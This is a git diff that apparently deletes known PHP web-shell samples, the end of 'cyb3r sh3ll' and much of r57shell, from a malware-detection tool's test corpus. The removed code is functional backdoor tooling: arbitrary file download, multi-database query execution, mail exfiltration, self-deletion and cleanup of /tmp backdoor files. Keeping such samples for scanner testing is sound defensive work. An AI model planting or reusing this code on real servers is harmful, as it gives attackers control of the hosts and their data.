-"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". - -"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". - -"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", - -"ext_avi"=> - -"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". - -"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". - -"PYXCyg+V2i44XeRmSfYqsGhAAgA7", - -"ext_cgi"=> - -"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". - -"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". - -"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". - -"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". - -"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". - -"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". - -"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". - -"RYtMAgEAOw==", - -"ext_cmd"=> - -"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". - -"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". - -"dmrYAMn1onq/YKpjvEgAADs=", - -"ext_cpp"=> - -"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". - -"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". - -"Eq7YrLDE7a4SADs=", - -"ext_ini"=> - -"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". - -"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". - -"SnEjgPVarHEHgrB43JvszsQEADs=", - -"ext_diz"=> - -"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". - -"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". - -"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". - -"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". - -"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". - -"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". - -"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". - -"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". - -"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". - -"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". - -"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". - -"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". - -"Ow==", - -"ext_doc"=> - -"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". - -"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". - -"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", - -"ext_exe"=> - -"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". - -"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". - -"xhIAOw==", - -"ext_h"=> - -"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". - -"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". - -"Wq/NknbbSgAAOw==", - -"ext_hpp"=> - -"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". - -"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". - -"UqUagnbLdZa+YFcCADs=", - -"ext_htaccess"=> - -"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". - -"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". - -"AAA7", - -"ext_html"=> - -"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". - -"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". - -"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". - -"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". - -"ADs=", - -"ext_jpg"=> - -"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". - -"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". - -"FxEAOw==", - -"ext_js"=> - -"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". - -"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". - -"a00AjYYBbc/o9HjNniUAADs=", - -"ext_lnk"=> - -"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". - -"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". - -"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". - -"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". - -"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". - -"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". - -"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". - -"ADs=", - -"ext_log"=> - -"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". - -"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", - -"ext_php"=> - -"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". - -"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", - -"ext_pl"=> - -"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". - -"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", - -"ext_swf"=> - -"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". - -"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". - -"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". - -"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". - -"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", - -"ext_tar"=> - -"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". - -"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". - -"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". - -"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". - -"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". - -"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". - -"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". - -"u4tLAgEAOw==", - -"ext_txt"=> - -"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". - -"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". - -"UpPWG3Ig6Hq/XmRjuZwkAAA7", - -"ext_wri"=> - -"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". - -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". - -"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", - -"ext_xml"=> - -"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". - -"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". - -"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". - -"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". - -"IQA7" - - ); - - //For simple size- and speed-optimization. - - $imgequals = array( - - "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), - - "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), - - "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), - - "ext_html"=>array("ext_html","ext_htm"), - - "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), - - "ext_lnk"=>array("ext_lnk","ext_url"), - - "ext_ini"=>array("ext_ini","ext_css","ext_inf"), - - "ext_doc"=>array("ext_doc","ext_dot"), - - "ext_js"=>array("ext_js","ext_vbs"), - - "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), - - "ext_wri"=>array("ext_wri","ext_rtf"), - - "ext_swf"=>array("ext_swf","ext_fla"), - - "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), - - "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") - - ); - - if (!$getall) - - { - - header("Content-type: image/gif"); - - header("Cache-control: public"); - - header("Cache-control: max-age=".(60*60*24*7)); - - header("Last-Modified: ".date("r",filemtime(__FILE__))); - - foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} - - if (empty($images[$img])) {$img = "small_unk";} - - if (in_array($img,$ext_tar)) {$img = "ext_tar";} - - echo base64_decode($images[$img]); - - } - - else - - { - - foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
");}}}} - - natsort($images); - - $k = array_keys($images); - - echo "
"; - - foreach ($k as $u) {echo $u.":
";} - - echo "
"; - - } - - exit; - -} - -?> - -
- -
(C) Copyright cyb3r 9l4d!470r [All rights reserved]
Greetz to : r45c4l bro, r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot.
--[ cyb3r sh3ll v. Coded by cyb3r 9l4d!470r (cyber gladiator) | h4cK2b0yZz.. | Generation time: ]--
-
- - - \ No newline at end of file diff --git a/php-malware-finder/samples/classic/r57.php b/php-malware-finder/samples/classic/r57.php deleted file mode 100644 index 4e91809..0000000 --- a/php-malware-finder/samples/classic/r57.php +++ /dev/null @@ -1,2302 +0,0 @@ -$v) - { - $_POST[$k] = stripslashes($v); - } - foreach ($_SERVER as $k=>$v) - { - $_SERVER[$k] = stripslashes($v); - } - } - -if($auth == 1) { -if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) - { - header('WWW-Authenticate: Basic realm="r57shell"'); - header('HTTP/1.0 401 Unauthorized'); - exit("r57shell : Access Denied"); - } -} -$head = ' - - -r57shell - - - -'; -class zipfile -{ - var $datasec = array(); - var $ctrl_dir = array(); - var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; - var $old_offset = 0; - function unix2DosTime($unixtime = 0) { - $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); - if ($timearray['year'] < 1980) { - $timearray['year'] = 1980; - $timearray['mon'] = 1; - $timearray['mday'] = 1; - $timearray['hours'] = 0; - $timearray['minutes'] = 0; - $timearray['seconds'] = 0; - } - return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | - ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); - } - function addFile($data, $name, $time = 0) - { - $name = str_replace('\\', '/', $name); - $dtime = dechex($this->unix2DosTime($time)); - $hexdtime = '\x' . $dtime[6] . $dtime[7] - . '\x' . $dtime[4] . $dtime[5] - . '\x' . $dtime[2] . $dtime[3] - . '\x' . $dtime[0] . $dtime[1]; - eval('$hexdtime = "' . $hexdtime . '";'); - $fr = "\x50\x4b\x03\x04"; - $fr .= "\x14\x00"; - $fr .= "\x00\x00"; - $fr .= "\x08\x00"; - $fr .= $hexdtime; - $unc_len = strlen($data); - $crc = crc32($data); - $zdata = gzcompress($data); - $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); - $c_len = strlen($zdata); - $fr .= pack('V', $crc); - $fr .= pack('V', $c_len); - $fr .= pack('V', $unc_len); - $fr .= pack('v', strlen($name)); - $fr .= pack('v', 0); - $fr .= $name; - $fr .= $zdata; - $this -> datasec[] = $fr; - $cdrec = "\x50\x4b\x01\x02"; - $cdrec .= "\x00\x00"; - $cdrec .= "\x14\x00"; - $cdrec .= "\x00\x00"; - $cdrec .= "\x08\x00"; - $cdrec .= $hexdtime; - $cdrec .= pack('V', $crc); - $cdrec .= pack('V', $c_len); - $cdrec .= pack('V', $unc_len); - $cdrec .= pack('v', strlen($name) ); - $cdrec .= pack('v', 0 ); - $cdrec .= pack('v', 0 ); - $cdrec .= pack('v', 0 ); - $cdrec .= pack('v', 0 ); - $cdrec .= pack('V', 32 ); - $cdrec .= pack('V', $this -> old_offset ); - $this -> old_offset += strlen($fr); - $cdrec .= $name; - $this -> ctrl_dir[] = $cdrec; - } - function file() - { - $data = implode('', $this -> datasec); - $ctrldir = implode('', $this -> ctrl_dir); - return - $data . - $ctrldir . - $this -> eof_ctrl_dir . - pack('v', sizeof($this -> ctrl_dir)) . - pack('v', sizeof($this -> ctrl_dir)) . - pack('V', strlen($ctrldir)) . - pack('V', strlen($data)) . - "\x00\x00"; - } -} -function compress(&$filename,&$filedump,$compress) - { - global $content_encoding; - global $mime_type; - if ($compress == 'bzip' && @function_exists('bzcompress')) - { - $filename .= '.bz2'; - $mime_type = 'application/x-bzip2'; - $filedump = bzcompress($filedump); - } - else if ($compress == 'gzip' && @function_exists('gzencode')) - { - $filename .= '.gz'; - $content_encoding = 'x-gzip'; - $mime_type = 'application/x-gzip'; - $filedump = gzencode($filedump); - } - else if ($compress == 'zip' && @function_exists('gzcompress')) - { - $filename .= '.zip'; - $mime_type = 'application/zip'; - $zipfile = new zipfile(); - $zipfile -> addFile($filedump, substr($filename, 0, -4)); - $filedump = $zipfile -> file(); - } - else - { - $mime_type = 'application/octet-stream'; - } - } -function mailattach($to,$from,$subj,$attach) - { - $headers = "From: $from\r\n"; - $headers .= "MIME-Version: 1.0\r\n"; - $headers .= "Content-Type: ".$attach['type']; - $headers .= "; name=\"".$attach['name']."\"\r\n"; - $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; - $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; - if(@mail($to,$subj,"",$headers)) { return 1; } - return 0; - } -if(isset($_GET['img'])&&!empty($_GET['img'])) - { - $images = array(); - $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; - $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; - @ob_clean(); - header("Content-type: image/gif"); - echo base64_decode($images[$_GET['img']]); - die(); - } -if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) - { - if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } - else - { - @ob_clean(); - $filename = @basename($_POST['d_name']); - $filedump = @fread($file,@filesize($_POST['d_name'])); - fclose($file); - $content_encoding=$mime_type=''; - compress($filename,$filedump,$_POST['compress']); - if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } - header("Content-type: ".$mime_type); - header("Content-disposition: attachment; filename=\"".$filename."\";"); - echo $filedump; - exit(); - } - } -if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "
[ BACK ]
"; die(); } -if ($_POST['cmd']=="db_query") - { - echo $head; - switch($_POST['db']) - { - case 'MySQL': - if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } - $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); - if($db) - { - if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } - $querys = @explode(';',$_POST['db_query']); - foreach($querys as $num=>$query) - { - if(strlen($query)>5){ - echo "Query#".$num." : ".htmlspecialchars($query)."
"; - $res = @mysql_query($query,$db); - $error = @mysql_error($db); - if($error) { echo "
Error : ".$error."

"; } - else { - if (@mysql_num_rows($res) > 0) - { - $sql2 = $sql = $keys = $values = ''; - while (($row = @mysql_fetch_assoc($res))) - { - $keys = @implode(" 
 ", @array_keys($row)); - $values = @array_values($row); - foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} - $values = @implode("  ",$values); - $sql2 .= " ".$values." "; - } - echo ""; - $sql = ""; - $sql .= $sql2; - echo $sql; - echo "
 ".$keys." 

"; - } - else { if(($rows = @mysql_affected_rows($db))>=0) { echo "
affected rows : ".$rows."

"; } } - } - @mysql_free_result($res); - } - } - @mysql_close($db); - } - else echo "
Can't connect to MySQL server
"; - break; - case 'MSSQL': - if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } - $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); - if($db) - { - if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } - $querys = @explode(';',$_POST['db_query']); - foreach($querys as $num=>$query) - { - if(strlen($query)>5){ - echo "Query#".$num." : ".htmlspecialchars($query)."
"; - $res = @mssql_query($query,$db); - if (@mssql_num_rows($res) > 0) - { - $sql2 = $sql = $keys = $values = ''; - while (($row = @mssql_fetch_assoc($res))) - { - $keys = @implode(" 
 ", @array_keys($row)); - $values = @array_values($row); - foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} - $values = @implode("  ",$values); - $sql2 .= " ".$values." "; - } - echo ""; - $sql = ""; - $sql .= $sql2; - echo $sql; - echo "
 ".$keys." 

"; - } - /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "
affected rows : ".$rows."

"; } else { echo "
Error : ".$error."

"; }} */ - @mssql_free_result($res); - } - } - @mssql_close($db); - } - else echo "
Can't connect to MSSQL server
"; - break; - case 'PostgreSQL': - if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } - $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; - $db = @pg_connect($str); - if($db) - { - $querys = @explode(';',$_POST['db_query']); - foreach($querys as $num=>$query) - { - if(strlen($query)>5){ - echo "Query#".$num." : ".htmlspecialchars($query)."
"; - $res = @pg_query($db,$query); - $error = @pg_errormessage($db); - if($error) { echo "
Error : ".$error."

"; } - else { - if (@pg_num_rows($res) > 0) - { - $sql2 = $sql = $keys = $values = ''; - while (($row = @pg_fetch_assoc($res))) - { - $keys = @implode(" 
 ", @array_keys($row)); - $values = @array_values($row); - foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} - $values = @implode("  ",$values); - $sql2 .= " ".$values." "; - } - echo ""; - $sql = ""; - $sql .= $sql2; - echo $sql; - echo "
 ".$keys." 

"; - } - else { if(($rows = @pg_affected_rows($res))>=0) { echo "
affected rows : ".$rows."

"; } } - } - @pg_free_result($res); - } - } - @pg_close($db); - } - else echo "
Can't connect to PostgreSQL server
"; - break; - case 'Oracle': - $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); - if(($error = @ocierror())) { echo "
Can't connect to Oracle server.
".$error['message']."
"; } - else - { - $querys = @explode(';',$_POST['db_query']); - foreach($querys as $num=>$query) - { - if(strlen($query)>5) { - echo "Query#".$num." : ".htmlspecialchars($query)."
"; - $stat = @ociparse($db, $query); - @ociexecute($stat); - if(($error = @ocierror())) { echo "
Error : ".$error['message']."

"; } - else - { - $rowcount = @ocirowcount($stat); - if($rowcount != 0) {echo "
affected rows : ".$rowcount."

";} - else { - echo ""; - for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } - echo ""; - while(ocifetch($stat)) - { - echo ""; - for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } - echo ""; - } - echo "
 ".htmlspecialchars(@ocicolumnname($stat, $j))." 
 ".htmlspecialchars(@ociresult($stat, $j))." 

"; - } - @ocifreestatement($stat); - } - } - } - @ocilogoff($db); - } - break; - } - echo "
"; - echo in('hidden','db',0,$_POST['db']); - echo in('hidden','db_port',0,$_POST['db_port']); - echo in('hidden','mysql_l',0,$_POST['mysql_l']); - echo in('hidden','mysql_p',0,$_POST['mysql_p']); - echo in('hidden','mysql_db',0,$_POST['mysql_db']); - echo in('hidden','cmd',0,'db_query'); - echo "



"; - echo "
"; - echo "
[ BACK ]
"; die(); - } -if(isset($_GET['delete'])) - { - @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); - } -if(isset($_GET['tmp'])) - { - @unlink("/tmp/bdpl"); - @unlink("/tmp/back"); - @unlink("/tmp/bd"); - @unlink("/tmp/bd.c"); - @unlink("/tmp/dp"); - @unlink("/tmp/dpc"); - @unlink("/tmp/dpc.c"); - } -if(isset($_GET['phpini'])) -{ -echo $head; -function U_value($value) - { - if ($value == '') return 'no value'; - if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; - if ($value === null) return 'NULL'; - if (@is_object($value)) $value = (array) $value; - if (@is_array($value)) - { - @ob_start(); - print_r($value); - $value = @ob_get_contents(); - @ob_end_clean(); - } - return U_wordwrap((string) $value); - } -function U_wordwrap($str) - { - $str = @wordwrap(@htmlspecialchars($str), 100, '', true); - return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); - } -if (@function_exists('ini_get_all')) - { - $r = ''; - echo '', ''; - foreach (@ini_get_all() as $key=>$value) - { - $r .= ''; - } - echo $r; - echo '
